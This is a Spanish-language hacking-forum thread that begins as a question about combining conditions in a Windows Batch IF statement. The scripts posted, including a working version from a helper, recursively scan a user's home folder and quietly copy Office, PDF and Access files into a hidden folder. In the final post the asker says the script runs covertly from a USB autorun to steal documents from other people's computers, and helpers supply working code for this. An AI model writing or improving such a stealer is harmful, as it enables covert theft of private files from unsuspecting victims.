Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: IWKY en 26 Junio 2010, 03:29 am



Título: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 26 Junio 2010, 03:29 am
Hola estoy haciendo un pequeño script en batch y no se como hacer un IF con varias combinaciones lógicas.

Lo que estoy haciendo es lo siguiente:

Código
  1. if "%%~xx" == ".xls" | "%%~xx" == ".xlsx" | "%%~xx" == ".doc" | "%%~xx" == ".docx"  | "%%~xx" == ".pdf"  | "%%~xx" == ".mdb"  | "%%~xx" == ".accdb"
  2.  

Pero me da error diciendo: No se esperaba | en este momento.

También he probado de este otro modo:

Código
  1. if "%%~xx" == ".xls" or "%%~xx" == ".xlsx" or "%%~xx" == ".doc" or "%%~xx" == ".docx"  or "%%~xx" == ".pdf"  or "%%~xx" == ".mdb"  or "%%~xx" == ".accdb"
  2.  

Pero siempre se cumple el IF cuando y en algunas ocasiones no debería de cumplisrse, así que tampoco funciona bien.

Alguna solución que no sea una cadena de if - else - if

NOTA: el IF está dentro de un FOR y la variable del FOR es x.

Un saludo y gracias.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: leogtz en 26 Junio 2010, 03:45 am
Alguna solución que no sea una cadena de if - else - if

No.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 26 Junio 2010, 03:48 am
Pues vaya ***** de lenguaje. ¿Pero en serio que no se puede hacer nada?, ¿no hay otra manera de montar el if para que todo se pueda validar de golpe?.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: leogtz en 26 Junio 2010, 03:51 am
Citar
¿Pero en serio que no se puede hacer nada?

Claro que sí, conociendo esa **** de lenguaje.

Dame algunos minutos, estoy en Linux.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 26 Junio 2010, 03:59 am
Hombre llevo ya un rato buscando en google, pero casi siempre sale el manual de sdc, y ahí solo está lo básico, y en la ayuda de batch tampoco es que se explaye mucho.

Espero... a que termines.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: leogtz en 26 Junio 2010, 04:03 am
Lo sé, en Batch no hay manuales de referencia, hace tiempo que estoy pensando en escribir algo, pero no tengo tiempo.


PD : Si quieres no consideres a Batch como un lenguaje.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 26 Junio 2010, 04:08 am
Pues si que estaría bien que hicieras un manual con materia más avanzada, porque ya te digo que llevo rato mirando y no encuentro nada, y los ejemplos que encuentro la mayoría son de if sentenciaSimple goto.

Hombre se que bacth es limitado, pero que menos que un mínimo de sintaxis bien definida.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: leogtz en 26 Junio 2010, 06:14 am
Disculpas por la tardanza, lo había olvidado.

Puedes implementar algo así:

Código
  1. @echo off
  2. if "%1"=="" (
  3. echo [ERROR] 1
  4. exit /b 1
  5. )
  6. rem ".xls" ".xlsx" ".doc" ".docx" ".pdf" ".mdb" ".accdb"
  7. for %%_ in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
  8. echo %1 | findstr /i "%%_\>" && (goto:found)
  9. )
  10. goto:eof
  11. :found
  12. echo Archivo valido.
  13. exit /b 0

Bastante artesanal, pero bueno, de que se puede se puede.

Hombre se que bacth es limitado, pero que menos que un mínimo de sintaxis bien definida.

Eso dicelo a los programadores de Microsoft, yo siempre he estado enojado con ellos  :P, lo que más me puede es que no podemos trabajar con decimales.
Código:

C:\>code jklasd

C:\>code jklasd.pdf
jklasd.pdf
Archivo valido.

C:\>code jklasd.txt

C:\>code jklasd.xls
jklasd.xls
Archivo valido.

C:\>code jklasd.docx
jklasd.docx
Archivo valido.

C:\>code jklasd.cpp

C:\>code jklasd.mdb
jklasd.mdb
Archivo valido.

C:\>


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 26 Junio 2010, 09:39 am
Gracias, voy a probarlo, de momento tengo toda una cadena de if - else - if,. Está solución aunque no queda muy bonita (no tiene estética) parece ser que soluciona el problema que yo comentaba, pero hay que reconocer que es un poco rebuscado, en fin gracias de nuevo, y ya comento que tal funciona.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 26 Junio 2010, 10:42 am
mmmm....

No me termina de servir, porque tu implementación solo encuentra una coincidencia sale del FOR y se va al :found, yo quisiera que se quedara dentro del FOR, te pongo el código para que lo veas.

Código
  1. @echo off
  2.  
  3. set ruta=%~dp0
  4. set save=%ruta%save
  5.  
  6. if not exist "%save%" (
  7. mkdir "%save%" > nul
  8. attrib +R +H "%save%" > nul
  9. )
  10.  
  11. %HOMEDRIVE% > nul
  12. cd %HOMEPATH% > nul
  13.  
  14.  
  15. for /R %%x in (*.*) do (
  16. if "%%~xx" == ".xls" (
  17. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  18. ) else (
  19. if "%%~xx" == ".xlsx" (
  20. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  21. ) else (
  22. if "%%~xx" == ".doc" (
  23. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  24. ) else (
  25. if "%%~xx" == ".docx" (
  26. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  27. ) else (
  28. if "%%~xx" == ".pdf" (
  29. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  30. ) else (
  31. if "%%~xx" == ".mdb" (
  32. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  33. ) else (
  34. if "%%~xx" == ".accdb" (
  35. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  36. )
  37. )
  38. )
  39. )
  40. )
  41. )
  42. )
  43. ) > nul
  44.  
  45. exit /b 0
  46.  
  47.  


Si utilizo tu código se saldría del for con la primera coincidencia, y no creo que con otro GOTO hacia dentro del FOR funcione, así que o existe otra opción o creo que se quedará así, aunque no veo lógico que no se pueda hacer una combinación lógica dentro de un IF.



*** EDITO ***

Estoy probando otra cosa, en la cual uso tu código.
Código
  1. for /R %%x in (*) do (
  2. for %%e in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
  3. echo %%x | findstr /i "%%e\>" && goto found
  4. goto nofound
  5. :found
  6. copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
  7. :nofound
  8. ) > nul
  9. ) > nul
  10.  
  11.  

Y el problema que surge en este caso, es que después de la etiqueta :nofound da un error: La sintaxis del comando no es correcta..
La idea es que si no coincide que continue en la ejecución del bucle, pero da ese error, y ahora mismo no se me ocurre como hacer una combinación de goto's para que funcione bien.

Saludos.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: flony en 26 Junio 2010, 16:52 pm
por ahi las soluciones mas simples son mejores que un codigo bonito...por lo que veo tratas de copiar archivos word y excel a una carpeta save...pues porque no usas copy y despues usando copiar pegar le vas cambiando las extensiones de archivos por cada extensión...
Código:
move "E:\Ares\My Shared Folder\___ARESTRA___*" "E:\Flony\flony14\videos"
jaja este rea un code para mover o sea cortar pegar de una carpeta a otra pero el concepto seria mas o menos
Código:
IF EXIST *.doc (copy /y %HOMEPATH% *.doc %save%) 
IF EXIST *.docx (copy /y%HOMEPATH% *.docx %save%)
rem etc etc
va a tardar un cacho eso casi seguro depende de cuantos archivos tenga...pero bue  :rolleyes: es mas lento hacerlo a mano  :laugh: y seguro ocuparia mas espacio en tu pc.. :rolleyes:...es tu pc?  :¬¬  :laugh: xq es oculta  ;-)
de ultima este me parece mejor
Código:
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.*) DO copy %%x %save%) 
jijiji el ultimo no lo probe pero me parece mejor....copiaria todo...
o
Código:
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.doc) DO copy %%x %save%) 
y le vas agregando las extensiones


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: leogtz en 26 Junio 2010, 23:30 pm
He probado esto y funciona:

Código
  1. @echo off
  2. set "save=%~dp0save"
  3. if not exist "%save%" (
  4. mkdir "%save%" 2> nul
  5. atrib +r +h "%save%" 2> nul
  6. )
  7. cd /d "%homepath%\"
  8. for /r %%# in (*.*) do (
  9. for %%_ in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
  10. echo %%# | findstr /r /i "%%_\>" > nul 2>&1 && (
  11. copy /y "%%#" "%save%" > nul 2>&1
  12. )
  13. )
  14. )
  15. exit /b 0

Teniendo solo conocimientos básicos de batch es dificil hacerlo.

Por mi consideren a Batch como quieran, yo lo sigo usando como una herramienta más.

Saludos.


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: flony en 27 Junio 2010, 06:05 am
no lo probe....tampoco lo haria  :laugh: pero es muy bonito el code leo...y viniendo de ud. que mas se puede esperar  ;-)


Título: Re: Combinación lógica en sentencia IF [Batch]
Publicado por: IWKY en 27 Junio 2010, 20:33 pm
Ahora estoy fuera y no puedo probar nada, pero la idea del code es que un autorun.inf en un pendrive, lanza un ejecutable que abre el Explorer con la carpeta del pendrive y ocultamente lanza el batch, que trata de copiar todos los documentos  (que interesan) del directorio del usuario a una carpeta oculta en el pendrive.

...es tu pc?  :¬¬  :laugh: xq es oculta  ;-)

No, no es mi PC, como ya he dicho antes es una especie de roba-información. Está claro que no es lo último en ocultamiento pero puede engañar a más de uno.

Cuando lleve a casa publicaré todo el code y opinaís.


Un saludo